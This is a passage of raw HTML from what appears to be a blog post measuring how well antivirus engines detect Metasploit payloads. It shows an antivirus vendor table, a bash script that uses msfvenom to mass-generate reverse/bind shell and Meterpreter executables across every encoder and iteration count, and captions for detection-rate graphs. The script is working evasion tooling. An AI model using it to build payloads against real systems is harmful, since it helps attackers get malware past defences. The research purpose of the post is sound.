border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: .5pt solid #95B3D7; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr height="14" style="height: 14.0pt;"&gt;  &lt;td height="14" style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: .5pt solid #95B3D7; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; height: 14.0pt; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;Symantec&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: .5pt solid #95B3D7; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr height="14" style="height: 14.0pt;"&gt;  &lt;td height="14" style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: .5pt solid #95B3D7; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; height: 14.0pt; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;TheHacker&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: .5pt solid #95B3D7; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr height="14" style="height: 14.0pt;"&gt;  &lt;td height="14" style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: .5pt solid #95B3D7; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; height: 14.0pt; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;TrendMicro&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: .5pt solid #95B3D7; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr height="14" style="height: 14.0pt;"&gt;  &lt;td height="14" style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: .5pt solid #95B3D7; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; height: 14.0pt; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;TrendMicro-HouseCall&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: .5pt solid #95B3D7; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr height="14" style="height: 14.0pt;"&gt;  &lt;td height="14" style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: .5pt solid #95B3D7; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; height: 14.0pt; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;VBA32&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: .5pt solid #95B3D7; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr height="14" style="height: 14.0pt;"&gt;  &lt;td height="14" style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: .5pt solid #95B3D7; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; height: 14.0pt; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;VIPRE&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: .5pt solid #95B3D7; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr height="14" style="height: 14.0pt;"&gt;  &lt;td height="14" style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: .5pt solid #95B3D7; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; height: 14.0pt; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;ViRobot&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: .5pt solid #95B3D7; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; mso-pattern: #DCE6F1 none; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;tr height="14" style="height: 14.0pt;"&gt;  &lt;td height="14" style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: .5pt solid #95B3D7; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; height: 14.0pt; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;VirusBuster&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: none; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt;  &lt;td style="background: #DCE6F1; border-bottom: .5pt solid #95B3D7; border-left: none; border-right: .5pt solid #95B3D7; border-top: .5pt solid #95B3D7; color: black; font-family: Calibri; font-size: 11.0pt; font-weight: 400; text-decoration: none; text-line-through: none; text-underline-style: none;"&gt;&lt;br /&gt;&lt;/td&gt; &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;The commands used are as follows:&lt;br /&gt;&lt;div style="margin: 5px 20px 20px;"&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; height: 200px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 600px;"&gt;echo "generic/shell_bind_tcp&lt;br /&gt;generic/shell_reverse_tcp&lt;br /&gt;windows/shell/bind_tcp&lt;br /&gt;windows/shell_bind_tcp&lt;br /&gt;windows/shell/reverse_tcp&lt;br /&gt;windows/shell_reverse_tcp&lt;br /&gt;windows/meterpreter/bind_tcp&lt;br /&gt;windows/meterpreter/reverse_tcp&lt;br /&gt;linux/x86/shell/bind_tcp&lt;br /&gt;linux/x86/shell_bind_tcp&lt;br /&gt;linux/x86/shell/reverse_tcp&lt;br /&gt;linux/x86/shell_reverse_tcp&lt;br /&gt;linux/x86/shell_reverse_tcp2&lt;br /&gt;linux/x86/meterpreter/bind_tcp&lt;br /&gt;linux/x86/meterpreter/reverse_tcp&lt;br /&gt;osx/x86/shell_bind_tcp&lt;br /&gt;osx/x86/vforkshell/bind_tcp&lt;br /&gt;osx/x86/vforkshell_bind_tcp&lt;br /&gt;osx/x86/shell_reverse_tcp&lt;br /&gt;osx/x86/vforkshell/reverse_tcp&lt;br /&gt;osx/x86/vforkshell_reverse_tcp&lt;br /&gt;windows/dllinject/reverse_tcp&lt;br /&gt;windows/patchupdllinject/reverse_tcp&lt;br /&gt;windows/dllinject/bind_tcp&lt;br /&gt;windows/patchupdllinject/bind_tcp" &amp;gt; /tmp/payload.txt&lt;br /&gt;&lt;br /&gt;for y in {normal,*.exe} ; do&lt;br /&gt;   for x in `msfvenom -l encoders 2&amp;gt;&amp;amp;1 &amp;gt;/dev/null | grep "/" | awk '{print $1}'`; do&lt;br /&gt;      for i in {1,5,10,25,100}; do&lt;br /&gt;        if [ "$y" == "normal" ] ; then&lt;br /&gt;           msfvenom -p generic/custom -f exe -e $x -i $i PAYLOADSTR= &amp;gt; output/generic_-_custom-default~[$(echo $x | sed "s/\//_-_/g")]-$i.exe&lt;br /&gt;        else&lt;br /&gt;           msfvenom -p generic/custom -f exe -e $x -i $i -x $y PAYLOADSTR= &amp;gt; output/generic_-_custom-$y~[$(echo $x | sed "s/\//_-_/g")]-$i.exe&lt;br /&gt;        fi&lt;br /&gt;      done&lt;br /&gt;   done&lt;br /&gt;done&lt;br /&gt;for payload in $(cat /tmp/payload.txt); do&lt;br /&gt;   for y in {normal,*.exe} ; do&lt;br /&gt;      for x in `msfvenom -l encoders 2&amp;gt;&amp;amp;1 &amp;gt;/dev/null | grep "/" | awk '{print $1}'`; do&lt;br /&gt;         for i in {1,5,10,25,100}; do&lt;br /&gt;            if [ "$y" == "normal" ] ; then&lt;br /&gt;               msfvenom -p $payload -f exe -e $x -i $i --platform windows LHOST=127.0.0.1 LPORT=4444 RHOST=127.0.0.1 RPORT=5555 &amp;gt; output/$(echo $payload | sed "s/\//_-_/g")-default~[$(echo $x | sed 's/\//_-_/g')]-$i.exe&lt;br /&gt;            else&lt;br /&gt;               msfvenom -p $payload -f exe -e $x -i $i --platform windows -x $y LHOST=127.0.0.1 LPORT=4444 RHOST=127.0.0.1 RPORT=5555 &amp;gt; output/$(echo $payload | sed "s/\//_-_/g")-$y~[$(echo $x | sed "s/\//_-_/g")]-$i.exe&lt;br /&gt;            fi&lt;br /&gt;         done&lt;br /&gt;      done&lt;br /&gt;   done&lt;br /&gt;done&lt;br /&gt;&lt;br /&gt;for y in *.exe ; do&lt;br /&gt;   python bmmvtu.py --output report-$y output/blank-$y*&lt;br /&gt;done&lt;br /&gt;for payload in $(cat /tmp/payload.txt); do&lt;br /&gt;   for y in *.exe ; do&lt;br /&gt;      python bmmvtu.py --output report-$(echo $payload | sed "s/\//_-_/g")-$y output/$(echo $payload | sed "s/\//_-_/g")-$y*&lt;br /&gt;   done&lt;br /&gt;done&lt;br /&gt;&lt;br /&gt;for url in `cat /tmp/urls.txt`; do  ./CutyCapt --url=$(echo $url | cut -d, -f2) --out=/mnt/win/$(echo $url | cut -d, -f1).png; done&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;b&gt;Results&lt;/b&gt;&lt;br /&gt;Download: VirusTotal.com reports [&lt;a href="http://www.mediafire.com/?y68hb6d0xr4m2sb"&gt;PDF&lt;/a&gt;]&lt;br /&gt;Download: Results [&lt;a href="http://www.mediafire.com/download.php?9zx5ag4p635j204"&gt;PNG&lt;/a&gt;] [&lt;a href="http://www.mediafire.com/?9wumdnqbmsvhtcu"&gt;Spreadsheet (xlsx)&lt;/a&gt;]&lt;br /&gt;View: &lt;a href="https://picasaweb.google.com/106638402021534710034/EncodingFiles"&gt;More Results&lt;/a&gt; *Below is only sample of the collect results. Sorry for the low resolution!*&lt;br /&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-1HHE5durDLc/TpG3mxhSNlI/AAAAAAAAAWc/lFDQHrSiHgs/s1600/Summary.png" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="320" src="http://1.bp.blogspot.com/-1HHE5durDLc/TpG3mxhSNlI/AAAAAAAAAWc/lFDQHrSiHgs/s320/Summary.png" width="132" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Table 1 - Results Summary&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-N88wXWJ5jf4/TpHGa1pLt-I/AAAAAAAAAXM/rsotWvqZ6Gs/s1600/av.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="320" src="http://1.bp.blogspot.com/-N88wXWJ5jf4/TpHGa1pLt-I/AAAAAAAAAXM/rsotWvqZ6Gs/s320/av.png" width="215" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Table 2 - Anti Virus Results&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;img border="0" height="150" src="http://3.bp.blogspot.com/-lGWlEVRWV3U/TpG1rUdJcJI/AAAAAAAAASw/WT-8tAR4sbE/s320/Graph-Anti+Virus+Performance.png" style="margin-left: auto; margin-right: auto;" width="320" /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Graph 1 - Anti Virus performance&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-oUPX6_dFCos/TpG1swityQI/AAAAAAAAAS8/Wh0ksO_St8E/s1600/Graph-Detection+Rate+for+genericcustom-calc.exe.jpg" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="150" src="http://1.bp.blogspot.com/-oUPX6_dFCos/TpG1swityQI/AAAAAAAAAS8/Wh0ksO_St8E/s320/Graph-Detection+Rate+for+genericcustom-calc.exe.jpg" width="320" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Graph 2 - Graph-Detection Rate for "generic/custom-calc.exe"&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-7Fk39gE2-7s/TpG1vrd3x4I/AAAAAAAAATg/onbVPqcJ2Po/s1600/Graph-Detection+Rate+for+OS+Bind+Shell.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="149" src="http://3.bp.blogspot.com/-7Fk39gE2-7s/TpG1vrd3x4I/AAAAAAAAATg/onbVPqcJ2Po/s320/Graph-Detection+Rate+for+OS+Bind+Shell.png" width="320" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Graph 3 - Detection Rate for "OS Bind Shell"&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;br /&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-1CxBiulQkZ4/TpG1u9PR26I/AAAAAAAAATQ/vit-DSoh7DU/s1600/Graph-Detection+Rate+for+Windows+Meterpreter+Bind+%25281+Iteration%2529.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="150" src="http://1.bp.blogspot.com/-1CxBiulQkZ4/TpG1u9PR26I/AAAAAAAAATQ/vit-DSoh7DU/s320/Graph-Detection+Rate+for+Windows+Meterpreter+Bind+%25281+Iteration%2529.png" width="320" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Graph 4 - Detection Rate For Graph-Detection Rate for "Windows Meterpreter Bind (1 Iteration)"&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-xxG6NLWqNXY/TpG1v_aQBzI/AAAAAAAAATs/6qBVbta7l5o/s1600/Graph-Detection+Rate+for+Windows+Payloads+%25281+Iteration%2529.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="150" src="http://4.bp.blogspot.com/-xxG6NLWqNXY/TpG1v_aQBzI/AAAAAAAAATs/6qBVbta7l5o/s320/Graph-Detection+Rate+for+Windows+Payloads+%25281+Iteration%2529.png" width="320" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Graph 5 - Detection Rate For Graph-Detection Rate for "Windows payloads (1 Iteration)"&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-jVxGRFWgedE/TpG1w2IhGwI/AAAAAAAAAT8/jQkaLT8JGpg/s1600/Graph-Iterations+From+1+to+100.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="150" src="http://4.bp.blogspot.com/-jVxGRFWgedE/TpG1w2IhGwI/AAAAAAAAAT8/jQkaLT8JGpg/s320/Graph-Iterations+From+1+to+100.png" width="320" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Graph 6 - Iterations From 1 to 100&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-6gbaI5Guh18/TpG1xNF_OqI/AAAAAAAAAUE/IeQ_22QzYQw/s1600/Graph-Range+of+Encoders+Efficiency.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="136" src="http://3.bp.blogspot.com/-6gbaI5Guh18/TpG1xNF_OqI/AAAAAAAAAUE/IeQ_22QzYQw/s640/Graph-Range+of+Encoders+Efficiency.png" width="640" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Graph 7 - Range of Encoders Efficiency&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-GcBdfHOnAOo/TpG1xFELi1I/AAAAAAAAAUA/3qSPqS1EKKI/s1600/Graph-Total+Detects.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="150" src="http://2.bp.blogspot.com/-GcBdfHOnAOo/TpG1xFELi1I/AAAAAAAAAUA/3qSPqS1EKKI/s320/Graph-Total+Detects.png" width="320" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Graph 8 - Total Detects&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-TAqRud-UmdI/TpG1xjrNGFI/AAAAAAAAAUQ/tKoV2YcbUvQ/s1600/Graph-Total+Rate+Of+Detection.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="139" src="http://1.bp.blogspot.com/-TAqRud-UmdI/TpG1xjrNGFI/AAAAAAAAAUQ/tKoV2YcbUvQ/s640/Graph-Total+Rate+Of+Detection.png" width="640" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Graph 9 - Total Rate Of Detection&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;br /&gt;&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: 